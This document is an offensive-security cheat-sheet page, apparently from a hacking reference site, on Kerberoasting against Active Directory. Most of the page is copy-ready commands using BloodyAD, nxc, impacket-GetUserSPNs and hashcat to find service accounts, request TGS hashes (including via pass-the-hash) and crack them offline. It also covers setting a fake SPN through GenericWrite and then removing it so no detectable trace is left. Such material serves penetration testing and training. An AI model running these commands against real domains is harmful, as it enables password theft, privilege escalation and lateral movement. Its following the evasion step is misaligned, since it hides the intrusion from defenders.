# Kerberoasting

> Exploits Kerberos TGS ticket encryption to extract and offline brute-force service account password hashes in Active Directory environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/kerberoasting
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Kerberoasting abuses the Kerberos TGS request mechanism. Any authenticated domain user can request a service ticket for any account with a Service Principal Name set. The ticket is encrypted with the service account's password hash and is returned without any special rights or group membership required. The resulting hash can be cracked offline.

Service accounts are the primary target: they tend to have weak passwords, rarely rotate, and often carry elevated privileges or local admin access on application servers.

Tools for Kerberoasting:

- `impacket-GetUserSPNs`: request and dump TGS hashes from Linux
- `nxc ldap --kerberoasting`: one-liner hash extraction
- Rubeus `kerberoast`: request hashes from a Windows session
- hashcat mode 13100 (RC4) or 19700 (AES): offline cracking

## Find Kerberoastable accounts

Identify accounts with SPNs set before requesting tickets. Prioritise accounts that are not computer objects and not `krbtgt`: service accounts tied to applications are the viable targets.

**Find accounts with SPNs set**

```bash
# BloodyAD: filter for user accounts with SPNs, exclude krbtgt
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))' --attr sAMAccountName servicePrincipalName

# nxc: dump hashes directly
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt
# sAMAccountName: svc-mssql
# servicePrincipalName: MSSQLSvc/sql01.corp.local:1433
#
# sAMAccountName: svc-http
# servicePrincipalName: HTTP/web01.corp.local
```

## Request TGS hashes

`impacket-GetUserSPNs` requests TGS tickets for all Kerberoastable accounts and outputs them in a crackable format. The default encryption type returned depends on what the service account supports: RC4 hashes crack faster than AES.

**Request TGS hashes**

```bash
# All Kerberoastable accounts
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt

# Pass-the-Hash
impacket-GetUserSPNs $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP -request -outputfile kerb.txt

# Request TGS for a specific user only
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt -request-user $TARGET_USER
# $krb5tgs$23$*svc-mssql$CORP.LOCAL$corp.local/svc-mssql*$a1b2c3d4...
```

## Crack the hashes

RC4 TGS hashes use mode 13100. AES-128 and AES-256 hashes use modes 19600 and 19700: significantly slower to crack. If both types are present, prioritise the RC4 hashes first.

**Crack TGS hashes with hashcat**

```bash
# Mode 13100: TGS-REP etype 23 (RC4)
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

# Mode 19600: TGS-REP etype 17 (AES-128)
hashcat -m 19600 kerb.txt /usr/share/wordlists/rockyou.txt

# Mode 19700: TGS-REP etype 18 (AES-256)
hashcat -m 19700 kerb.txt /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Show cracked
hashcat -m 13100 kerb.txt --show
# $krb5tgs$23$*svc-mssql$CORP.LOCAL$...*  →  Mssql2019!
```

## Targeted Kerberoasting via GenericWrite

If you have GenericWrite or GenericAll on a user account that has no SPN, you can set one yourself. This makes any writable user account Kerberoastable. Remove the SPN after cracking to avoid leaving a detectable artefact.

**Set SPN, roast, remove**

```bash
# Requires GenericWrite or GenericAll on the target account
# Set a fake SPN on the target user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/spn'

# Request TGS for the new SPN
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerb.txt

# Crack
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

# Remove SPN after cracking
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove object $TARGET_USER servicePrincipalName -v 'fake/spn'
```

A cracked service account password gives authenticated access to whatever services that account is tied to. Check the SPN to identify the target service: `MSSQLSvc`, `HTTP`, `CIFS`, and `HOST` are the most impactful. Re-run [Object Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-object-enumeration) under the cracked account to check group memberships and writable objects before moving to the service directly. Cracked passwords often allow [Pass-the-Hash](https://hackindex.io/services/smb/exploitation/pass-the-hash) or direct [AD Remote Execution](https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution). For TGS ticket mechanics and Kerberos-specific exploitation context, see [Kerberoasting (service page)](https://hackindex.io/services/kerberos/exploitation/kerberoasting).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - GetUserSPNs reference for TGS hash request
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - kerberoasting module reference
- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - set object servicePrincipalName for targeted Kerberoasting